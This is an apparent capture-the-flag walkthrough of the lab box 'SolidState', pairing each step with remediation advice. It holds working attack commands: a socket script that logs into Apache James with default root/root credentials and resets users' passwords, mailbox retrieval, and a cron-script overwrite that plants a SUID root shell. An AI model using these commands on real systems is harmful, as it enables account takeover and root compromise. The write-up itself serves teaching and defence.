← all walkthroughs

SolidState

Linux· Medium
owned
2026-07-07
time to own
16m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target solidstate ($TARGET) was fully compromised through a chain of three misconfigurations. A port scan exposed Apache James Mail Server 2.3.2 running its remote administration console on port 4555 with its factory-default credentials (root/root) still active. I authenticated to that console, listed every internal mail account, and reset the POP3 password for user 'mindy' to a known value.

Reading mindy's mailbox revealed a plaintext provisioning email from an administrator that contained her SSH password. SSH access as mindy yielded the user flag. Post-login enumeration of /opt found a Python script writable by all users that a root-owned cron job executed on a regular schedule.

Replacing the script with a payload that copies /bin/bash with the SUID bit set, then waiting one cron cycle, produced a root shell and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for mindy>"
export PASSWORD2="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped the attack surface and identified Apache James 2.3.2 on port 4555
A service-version scan of all relevant ports revealed SSH on 22, SMTP on 25, Apache HTTP on 80, POP3 on 110, NNTP on 119, and — critically — port 4555, the well-known default port for the Apache James Remote Administration Tool. The POP3 banner on port 110 confirmed the exact server version as James POP3 Server 2.3.2, a version known to ship with default administrative credentials that are rarely changed. This single banner immediately suggested a high-value attack path: compromise the admin console, then own every mailbox on the server.
Nmap -sV confirmed 'JAMES POP3 Server 2.3.2' on port 110; banner '+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready' received.
Exact commands 1
shell

Service-version scan of all discovered ports; the James version in the POP3 banner and the presence of 4555 are the key findings.

$ nmap -sV -Pn -p 22,25,80,110,119,4555 $TARGET
2ExploitationDefault credentials on administrative interface (T1078.001)
Authenticated to the James admin console with default credentials and reset user passwords
Apache James 2.3.2 ships with a plaintext TCP administration console on port 4555 that accepts the username '<withheld>' and password by default. Those credentials were never changed on this host. After logging in, I issued the 'listusers' command to enumerate every mail account on the server, then used 'setpassword' to reset the POP3 passwords for 'mindy' and 'james' to my own value <withheld>, granting unrestricted read access to their mailboxes.
Python socket script to 4555 with root/root received a valid administration session banner; 'listusers' returned internal accounts including mindy, james, john, and mailadmin; password-reset commands completed without error.
Exact commands 2
shell

Authenticate with root/root and enumerate all mail accounts on the James server.

$ python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
print(s.recv(1024).decode(errors='ignore'))
for cmd in [b'root\r\n', b'root\r\n', b'listusers\r\n']:
    s.sendall(cmd); time.sleep(0.6)
    print(s.recv(4096).decode(errors='ignore'))
"
shell

Reset POP3 passwords for mindy and james to my own value '$PASSWORD2'.

$ python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
s.recv(1024)
for cmd in [b'root\r\n', b'root\r\n', b'setpassword mindy $PASSWORD2\r\n', b'setpassword james $PASSWORD2\r\n', b'quit\r\n']:
    s.sendall(cmd); time.sleep(0.6)
print(s.recv(4096).decode(errors='ignore'))
"
FixReplace Apache James default administrator credentials and restrict the admin interface to localhostCritical
WeaknessThe Apache James Remote Administration Tool on port 4555 retained its factory-default credentials (root / root) and was accessible from the network. Anyone who could reach that port could log in immediately, enumerate every mail account on the server, and reset any user's POP3 password — taking full control of the mail system without touching a single user credential.
FixChange the James administrator password immediately to a long, randomly generated value and store it in a secrets manager. Edit james-server.xml to bind the admin service exclusively to 127.0.0.1 so it is unreachable from the network; if remote administration is genuinely required, require an SSH tunnel or VPN. Enforce a process that verifies no default credentials remain active after any service installation. Strongly consider migrating to a supported mail server: Apache James 2.3.x is end-of-life and receives no security patches.
3Credential HarvestEmail collection from internal mail service (T1114.002)
Read mindy's mailbox over POP3 to recover her plaintext SSH password
With mindy's POP3 password reset to a known value, I authenticated to port 110 and retrieved both messages in her mailbox. The first message (1,109 bytes), sent from mailadmin@localhost, was an account-provisioning email containing mindy's SSH credentials in plaintext: password. No encryption, expiry, or access control prevented an administrative user — or anyone who could reach the James admin console — from reading this email.
POP3 STAT returned '+OK 2 1945'; RETR 1 (1109 bytes) originated from mailadmin@localhost and contained the SSH password.
Exact commands 2
shell

Retrieve message 1 from mindy's mailbox — the provisioning email containing her SSH password.

$ curl -s --url "pop3://$TARGET/1" -u "mindy:$PASSWORD2"
shell

Retrieve message 2 from mindy's mailbox for completeness.

$ curl -s --url "pop3://$TARGET/2" -u "mindy:$PASSWORD2"
FixNever transmit credentials in plaintext email; enforce least-privilege mailbox accessHigh
WeaknessAn administrator sent mindy her SSH password in a plaintext internal email stored in a James mailbox. Anyone who gained access to the James admin console — or directly to her mailbox — could read that message and log into the system as her immediately. The credential had no expiry and required no change on first login.
FixStop delivering credentials over email entirely. Use a dedicated secrets or password manager that requires the recipient to authenticate before viewing a secret, issues single-use links that expire within minutes, and forces a password change on first use. If email delivery cannot be avoided, encrypt the message (PGP/S-MIME) and ensure the credential expires within hours. Additionally, restrict mailbox access so only the account owner — not the mail administrator role — can read message contents by default.
4FootholdValid accounts — remote services SSH (T1078 / T1021.004)
Logged in over SSH as mindy and captured the user flag
The plaintext SSH credentials found in the email were immediately valid. An SSH session as mindy on port 22 was established without any additional exploitation, yielding an interactive shell on the Debian host. The user flag was readable directly from mindy's home directory.
Sshpass SSH with password succeeded; 'cat /home/mindy/user.txt' returned the user flag (value redacted).
Exact commands 2
shell

Establish an interactive SSH session as mindy using the credentials recovered from her email.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGET
shell

Non-interactive retrieval of the user flag — placeholder value: <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGET 'cat /home/mindy/user.txt'
5Post-ExploitationScheduled task/job abuse — cron (T1053.003)
Discovered a world-writable Python script periodically executed by root's cron job
Manual enumeration of /opt from mindy's SSH session revealed a file named tmp.py. Its file permissions showed it was writable by all users on the system, yet it was owned by root and invoked on a timed schedule by a root-owned cron entry. This combination — world-writable file, root executor — is a textbook local privilege escalation path: any local user who can write to the file completely controls what root runs next.
Confirm /opt/tmp.py is writable by mindy and executed by root on a recurring schedule; overwriting it with a payload caused root to execute that payload on the next cron cycle.
Exact commands 4
shell

List /opt with permissions and ownership to identify world-writable or oddly-owned files.

$ ls -la /opt/
shell

Read the current contents of the cron-executed script.

$ cat /opt/tmp.py
shell

Enumerate every writable file under /opt to confirm scope of the misconfiguration.

$ find /opt -writable -ls 2>/dev/null
shell

Confirm the root cron entry that invokes /opt/tmp.py and note its execution interval.

$ crontab -l; cat /etc/crontab; ls /etc/cron.*
FixRemove world-writable permissions from all cron-executed scripts and audit scheduled tasksCritical
WeaknessThe file /opt/tmp.py was writable by every user on the system, yet a root-owned cron job executed it on a regular schedule. This let any local user — including a low-privilege account like mindy — substitute arbitrary code that root would then run, with no exploit required beyond a simple file write.
FixSet ownership and permissions on every cron-executed script so that only root can modify it: 'chown root:root /opt/tmp.py && chmod 700 /opt/tmp.py'. Audit all scheduled tasks with 'crontab -l', 'cat /etc/crontab', and 'ls -la /etc/cron.*' and apply the same fix to any other script referenced by a root job. Run a hardening scanner such as Lynis or linPEAS on a schedule to catch permission regressions. Establish a policy that root-scheduled tasks must never reference files writable by non-root users, enforced in your change-management process.
6Privilege EscalationCron job abuse — writable script SUID escalation (T1053.003 / T1548.001)
Replaced the cron script with a SUID-shell payload and obtained a root shell
I overwrote /opt/tmp.py with a short Python script that copies /bin/bash to /tmp/rootbash and sets the SUID bit (mode 4755), making that copy executable as root by any user. On the cron job's next scheduled run, root executed the payload and /tmp/rootbash appeared with the SUID bit set. Running '/tmp/rootbash -p' launched a root-privileged bash shell, and the root flag was read directly from /root/root.txt — completing full system compromise.
The exact heredoc payload written to /opt/tmp.py via mindy's SSH session; /tmp/rootbash confirmed created with mode 4755; root.txt captured.
Exact commands 4
shell

From mindy's SSH session — overwrite the cron script with the SUID-shell payload.

$ printf '#!/usr/bin/python\nimport os\nos.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")\n' > /opt/tmp.py
shell

Poll every 5 seconds until the cron job fires and the SUID copy appears.

$ watch -n 5 ls -la /tmp/rootbash 2>/dev/null
shell

Launch the SUID bash copy; -p tells bash to honour the SUID effective UID rather than dropping it.

$ /tmp/rootbash -p
shell

Read the root flag from the elevated shell — placeholder value: <root.txt>.

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
25/tcp
80/tcp
110/tcp
119/tcp
4555/tcp